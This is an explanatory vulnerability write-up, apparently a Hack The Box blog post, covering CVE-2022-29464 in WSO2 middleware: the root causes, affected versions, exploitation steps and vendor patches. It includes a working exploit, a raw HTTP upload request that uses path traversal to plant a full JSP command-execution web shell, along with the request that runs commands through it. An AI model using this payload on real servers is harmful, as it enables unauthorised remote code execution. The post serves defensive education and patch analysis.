CVE Explained

11 min read

CVE-2022-29464 (WSO2) explained

CVE-2022-29464 is a critical vulnerability that affected several web service integration products running on many sites.

CyberMnemosyne avatar

CyberMnemosyne,
May 29
2024

What is CVE-2022-29464?

CVE-2022-29464 is a set of vulnerabilities that allows unrestricted file upload, directory path traversal, and remote code execution in products from WSO2. The vulnerabilities were first reported by Taiwanese security researcher “Orange Tsai”.

The vulnerability is rated as 9.8 (critical) and affected several web service integration products running on many sites. Web service integration products allow different systems to be accessed through standardized application programming interfaces (APIs). 

The WSO2 products offered functionality such as identity, API, key management, and analytics. They are intended to be used by enterprises to connect their disparate systems to share data and functionality between them. 

The vulnerability consists of many configuration and code errors that result in the attacker being able to execute either JSP files or code in Java Web Application Archive files (WAR). 

The different faults that make up the vulnerability are:

  1. A default configuration allows the URL route /fileupload to be accessed with no authentication and security requirements.

  2. The code functionality that handles HTTP access requests allow all requests to the path containing “/fileupload” or “/fileupload/” to be granted unauthenticated access.

  3. The file name in the Content-Disposition header of the HTTP request can specify directory traversal using path sequences of the type “../”.

  4. Different file types uploaded are handled by file handlers that will execute JSP files or code located in a WAR.

The vulnerability highlights the importance of defense in depth when writing software. It shows how each layer of the defense should provide redundancy by re-checking authentication and access rules.

What is WSO2?

WSO2 is an open-source middleware company that produces software that allows for the management and administration of application programming interfaces (APIs), identity and access management (IAM), and the implementation of software and system integration. 

The product is written in Java, and services such as the Identity Server have administration functionality which includes the ability to upload files.

The specific WSO2 products and their version that were affected by CVE-2022-29464 were:

  • WSO2 API Manager 2.2.0 - 4.0.0

  • WSO2 Identity Server 5.2.0 - 5.11.0

  •  WSO2 Identity Server Analytics 5.4.0 - 5.6.0

  • WSO2 Identity Server as Key Manager 5.3.0 - 5.10.0

  • WSO2 Enterprise Integrator 6.2.0 - 6.6.0

  • WSO2 Open Banking AM 1.3.0 - 2.0.0

  • WSO2 Open Banking KM 1.3.0 - 1.5.0

  • WSO2 Open Banking IAM 2.0.0

In the release of WSO2’s security advisory announcement, the short-term mitigation options were to edit configuration files to either include the requirement for authenticated access to the file upload path, or remove the handler that allowed code execution from the configuration file.

CVE-2022-29464 vulnerability details

 

Unauthenticated access to /fileupload/ path

In the WSO2 code, requests to upload files are sent to the server using a URL that has /fileupload/ in the path. The file upload request is handled by a Java Servlet called FileUploadServlet

The route has a specific permission in the configuration file identity.xml that allows the request to be processed by the web server. By default, this path does not enforce any specific security controls on this request:

<Resource context="(.*)/fileupload(.*)" secured="false" http-method="all"/>

In addition to this configuration file, the function handleSecurity() deals with implementing security rules on incoming requests. 

This function calls handleLongPageRequest() and checks if the return value from this function is CarbonUILoginUtil.RETURN_TRUE. 

The method handleLongPageRequestallows specific paths to pass through unauthenticated including the path containing “/fileupload” or “/fileupload/”.

protected static int
handleLoginPageRequest(String requestedURI,
                       HttpServletRequest request,
                       HttpServletResponse response,
                       boolean authenticated,
                       String context,
                       String indexPageURL) throws IOException
{
  boolean isTryIt =
    requestedURI.indexOf("admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp") > -1;
  boolean isFileDownload = requestedURI.endsWith("/filedownload");
  if ((requestedURI.indexOf("login.jsp") > -1 ||
       requestedURI.indexOf("login_ajaxprocessor.jsp") > -1 ||
       requestedURI.indexOf("admin/layout/template.jsp") > -1 || 
       isFileDownload ||
       requestedURI.endsWith("/fileupload") ||
       requestedURI.indexOf("/fileupload/") > -1 ||
       requestedURI.indexOf("login_action.jsp") > -1 || isTryIt ||
       requestedURI.indexOf("tryit/JAXRSRequestXSSproxy_ajaxprocessor.jsp") > -1) && !requestedURI.contains(";")) {

    if ((requestedURI.indexOf("login.jsp") > -1 ||
         requestedURI.indexOf("login_ajaxprocessor.jsp") > -1 ||
         requestedURI.indexOf("login_action.jsp") > -1) &&
        authenticated) {
      <SNIPPED…>
    } else if ((isTryIt || isFileDownload) && !authenticated) {
      <SNIPPED…>
    } else if (requestedURI.indexOf("login_action.jsp") > -1 && 
               !authenticated) {
      <SNIPPED…>
    } else {
      if (log.isDebugEnabled()) {
        log.debug("Skipping security checks for " + requestedURI);
      }
      return RETURN_TRUE;
    }
  }

  return CONTINUE;
}

The end result is that the application explicitly allows unauthenticated file uploads and downloads.

Setup of file upload handlers 

The FileUploadServlet is responsible for setting up a hash table from a configuration file that maps specific actions with a class that will handle that action. Each action in turn handles specific file types. The execution flow is: 

FileUploadServlet.init() → FileUploadExecutorManager (constructor) → loadExecutorMap()

This loads the resource file carbon.xml containing the configuration information

<FileUploadConfig>
  <!--
       	The total file upload size limit in MB
    	-->
  <TotalFileSizeLimit>100</TotalFileSizeLimit>
  <Mapping>
    <Actions>
      <Action>keystore</Action>
      <Action>certificate</Action>
      <Action>*</Action>
    </Actions>   <Class>org.wso2.carbon.ui.transports.fileupload.AnyFileUploadExecutor</Class>
  </Mapping>
  <Mapping>
    <Actions>
      <Action>jarZip</Action>
    </Actions>
    <Class>org.wso2.carbon.ui.transports.fileupload.JarZipUploadExecutor</Class>
  </Mapping>
  <Mapping>
    <Actions>
      <Action>dbs</Action>
    </Actions> <Class>org.wso2.carbon.ui.transports.fileupload.DBSFileUploadExecutor</Class>
  </Mapping>
  <Mapping>
    <Actions>
      <Action>tools</Action>
    </Actions>
 <Class>org.wso2.carbon.ui.transports.fileupload.ToolsFileUploadExecutor</Class>
  </Mapping>
  <Mapping>
    <Actions>
      <Action>toolsAny</Action>
    </Actions>
    <Class>org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor</Class>
  </Mapping>
</FileUploadConfig>

The actions handled by this resource file are:

  • Keystore, certificate,*.

  • jarZip.

  • dbs.

  • tools.

  • toolsAny.

These actions handle SSL certificates, JAR files, database files, and other files including JSP and WAR.

The doPost method of the FileUploadServlet class handles POST requests and uses the class FileUploadExecutorManager to parse the request and then action the appropriate handler.

protected void doPost(HttpServletRequest request,
                      HttpServletResponse response) throws ServletException, IOException {
      try {
           fileUploadExecutorManager.execute(request, response);

In the execute method, the request is parsed, and the requested URI is split to get the entire string which comes after the text “fileupload/” with the result being stored in the variable actionString. 

public boolean execute(HttpServletRequest request, HttpServletResponse response)
    throws IOException {
  // TODO - fileupload is hardcoded
  int indexToSplit = requestURI.indexOf("fileupload/") + "fileupload/".length();
  String actionString = requestURI.substring(indexToSplit);
  <SNIP…>
}

The variable actionString then is passed to the CarbonXmlFileUploadExecHandler to get the appropriate file handler, and then the startExec() method is called on this handler.

// Register execution handlers
FileUploadExecutionHandlerManager execHandlerManager =
  new FileUploadExecutionHandlerManager();
CarbonXmlFileUploadExecHandler carbonXmlExecHandler =
  new CarbonXmlFileUploadExecHandler(request, response, actionString);
execHandlerManager.addExecHandler(carbonXmlExecHandler);
OSGiFileUploadExecHandler osgiExecHandler =
  new OSGiFileUploadExecHandler(request, response);
execHandlerManager.addExecHandler(osgiExecHandler);
AnyFileUploadExecHandler anyFileExecHandler =
  new AnyFileUploadExecHandler(request, response);
execHandlerManager.addExecHandler(anyFileExecHandler);
execHandlerManager.startExec();

When the path posted is /fileupload/toolsAny, the execute method of the class org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor is called. 

public class ToolsAnyFileUploadExecutor extends AbstractFileUploadExecutor
{

  public boolean execute(HttpServletRequest request,
                         HttpServletResponse response)
    throws CarbonException, IOException
  {

    List<FileItemData> fileItems = getAllFileItems();

    for (FileItemData fileItem : fileItems) {
      String uuid = String.valueOf(System.currentTimeMillis() + Math.random());
      String serviceUploadDir =
        configurationContext.getProperty(ServerConstants.WORK_DIR) +
        File.separator + "extra" + File.separator + uuid + File.separator;
      File dir = new File(serviceUploadDir);
      if (!dir.exists()) {
        dir.mkdirs();
      }
      File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
      try (FileOutputStream fileOutStream =
             new FileOutputStream(uploadedFile)) {
        fileItem.getDataHandler().writeTo(fileOutStream);
        fileOutStream.flush();
      }

      fileResourceMap.put(uuid, uploadedFile.getAbsolutePath());
      out.write(uuid);
    }

The execute method does not sanitize the file path provided and is vulnerable to directory path traversal. Without a path, files would normally be saved in the directory:

./tmp/work/extra/$uuid/$filename 

The $uuid is returned in response to the POST request. 

By looking at the file layout of the WSO2 application, we can see that applications are deployed in the directory.

./repository/deployment/server/webapps


 1. drwxr-xr-x  4 wso2carbon wso2	4096 Apr 20  2021 .
 2. drwxr-xr-x  1 wso2carbon wso2	4096 Apr 20  2021 ..
 3. drwxr-xr-x 12 wso2carbon wso2	4096 Apr 20  2021 accountrecoveryendpoint
 4. -rw-r--r--  1 wso2carbon wso2   12145 Apr 20  2021 am#sample#calculator#v1.war
 5. -rw-r--r--  1 wso2carbon wso2   20481 Apr 20  2021 am#sample#pizzashack#v1.war
 6. -rw-r--r--  1 wso2carbon wso2 1085759 Apr 20  2021 api#am#admin.war
 7. -rw-r--r--  1 wso2carbon wso2 1139170 Apr 20  2021 api#am#devportal.war
 8. -rw-r--r--  1 wso2carbon wso2  771180 Apr 20  2021 api#am#gateway#v2.war
 9. -rw-r--r--  1 wso2carbon wso2 1261258 Apr 20  2021 api#am#publisher.war
10. -rw-r--r--  1 wso2carbon wso2 1079621 Apr 20  2021 api#am#service-catalog#v0.war
11. -rw-r--r--  1 wso2carbon wso2 1658701 Apr 20  2021 api#identity#consent-mgt#v1.0.war
12. -rw-r--r--  1 wso2carbon wso2 1571696 Apr 20  2021 api#identity#oauth2#dcr#v1.1.war
13. -rw-r--r--  1 wso2carbon wso2 1575152 Apr 20  2021 api#identity#oauth2#v1.0.war
14. -rw-r--r--  1 wso2carbon wso2 1633477 Apr 20  2021 api#identity#recovery#v0.9.war
15. -rw-r--r--  1 wso2carbon wso2 1657955 Apr 20  2021 api#identity#user#v1.0.war
16. drwxr-xr-x 13 wso2carbon wso2	4096 Apr 20  2021 authenticationendpoint
17. -rw-r--r--  1 wso2carbon wso2  749964 Apr 20  2021 client-registration#v0.17.war
18. -rw-r--r--  1 wso2carbon wso2  180224 Apr 20  2021 internal#data#v1.war
19. -rw-r--r--  1 wso2carbon wso2  838076 Apr 20  2021 keymanager-operations.war
20. -rw-r--r--  1 wso2carbon wso2 1048494 Apr 20  2021 oauth2.war

Two potential directories could be used by an attacker to place an executable WAR or JSP:

  1. accountrecoveryendpoint

  2. authenticationendpoint

Steps to exploit CVE-2022-29464

Exploiting CVE-2022-29464 is relatively straightforward. From the vulnerability description above, we know that:

  1. File uploads are unauthenticated and do not even require a session key.

  2. Directory traversal can control where a malicious file can be placed on the file system.

  3. Writeable Tomcat application directories can be used to run the uploaded file as either a JSP or WAR.

To illustrate the exploit, we will use a Docker image provided by WSO2 of a vulnerable version (4.0.0) of the WSO2 API Manager

This can be run as follows:

docker run -it -p 8280:8280 -p 8243:8243 -p 9443:9443 --name api-manager wso2/wso2am:4.0.0

To illustrate that you do not need to be authenticated to do a POST request to the API Manager, the following call will succeed:

curl -k -X POST "https://127.0.0.1:9443/fileupload" -I

The response we get from this is:

HTTP/1.1 200
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=EFFE02ABCC78C057EB698371C8B59390; Path=/; Secure; HttpOnly
Content-Length: 0
Date: Sat, 02 Dec 2023 10:51:47 GMT
Server: WSO2 Carbon Server

We can use Burp Suite to send a POST request to the API Manager to upload a JSP web shell as follows: 

POST /fileupload/toolsAny HTTP/1.1
Host: 127.0.0.1:9443
User-Agent: curl/7.85.0
Accept-Encodeing: gzip, deflate
Accept: */*
Connection: close
Content-Length: 818
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1234
 
------WebKitFormBoundary1234
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/webshell.jsp"; filename="webshell.jsp"
 
<FORM>
  <INPUT name='cmd' type=text>
  <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
  <%
  String cmd = request.getParameter("cmd");
  String output = "";
  if(cmd != null) {
	String s = null;
	try {
     	Process p = Runtime.getRuntime().exec(cmd,null,null);
     	BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
     	while((s = sI.readLine()) != null) { output += s+"</br>"; }
	}  catch(IOException e) {   e.printStackTrace();  }
  }
%>
<pre><%=output %></pre>
------WebKitFormBoundary1234--

The response from this is:

HTTP/1.1 200
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=991D0D9339494C3D104C6DB119BF395D; Path=/; Secure; HttpOnly
Content-Type: text/plain;charset=UTF-8
Date: Sat, 02 Dec 2023 10:55:12 GMT
Connection: close
Server: WSO2 Carbon Server
Content-Length: 21
 
1.7015145128882974E12

We can then call the webshell using the URL

https://127.0.0.1:9443//authenticationendpoint/webshell.jsp?cmd=ls

To provide the output:

Key distribution center

(Image courtesy hakkivi)

Of course, the code in the exploit can be changed to run any arbitrary code, including a reverse shell. 

There is a Python script proof of concept written by GitHub user, hakkivi, that will create a webshell using the same POST details as above.  There is also a Metasploit module that will exploit this vulnerability and upload a payload inside a WAR file.

Exploitation

Trend reported active exploitation of CVE-2022-29464 by actors who used the vulnerability to install crypto miners and backdoors through Cobalt Strike.

Mitigation

The products from WSO2 were patched, and the organization issued a security advisory to recommend making several changes to configuration files. 

The exact changes depended on the product, but involved either adding the requirement for authentication for the file upload endpoint or removing the problematic file upload handlers from the configuration files.

Three patches were created for the product to address the vulnerabilities and customers were advised to apply them immediately to existing products.

The first patch fixed file type handling by removing the handlers for all file types other than the one handling dbs files. 

A specific method, verifyCanonicalDestination was added to validate the file upload path and constrain the file to the expected destination directory.

private void verifyCanonicalDestination(String extraFileLocation, 
                                        File dirs, String fileName)
  throws IOException
{
  String canonicalDestinationDirPath = dirs.getCanonicalPath();
  File destinationFile = new File(extraFileLocation, fileName);
  String canonicalDestinationFile = destinationFile.getCanonicalPath();

  if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath +
                                           File.separator)) {
    throw new AxisFault(String.format(
      "File path of %s is outside the allowed upload directory", fileName));
  }
}

In the second patch, explicit fileupload paths were added and permissions were required to invoke them.

In the third patch, a change was made to the Identity Carbon Auth Rest function where extra code was added to check that there was a valid JSESSIONID cookie in the request.

Stay ahead of threats with Hack The Box

HTB releases new content every month that’s based on emerging threats and vulnerabilities. This allows teams to train on real-world, threat-landscape-connected scenarios in a safe and controlled environment.  

In response to this vulnerability, we released WSO2, a machine that showcases CVE-2022-29464. This Easy difficulty Linux machine that showcases an authentication bypass to remote code execution vulnerability in the WSO2 API Manager software, labelled CVE-2022-29464. 

Hack The Box provides a wide range of scenarios to keep your team’s skills sharp and up-to-date.

Organizations like Toyota, NVISO, and RS2 are already using the platform to stay ahead of threats with hands-on skills and a platform for acquiring, retaining, and developing top cyber talent. Talk to our team to learn more

Hack The Blog

The latest news and updates, direct from Hack The Box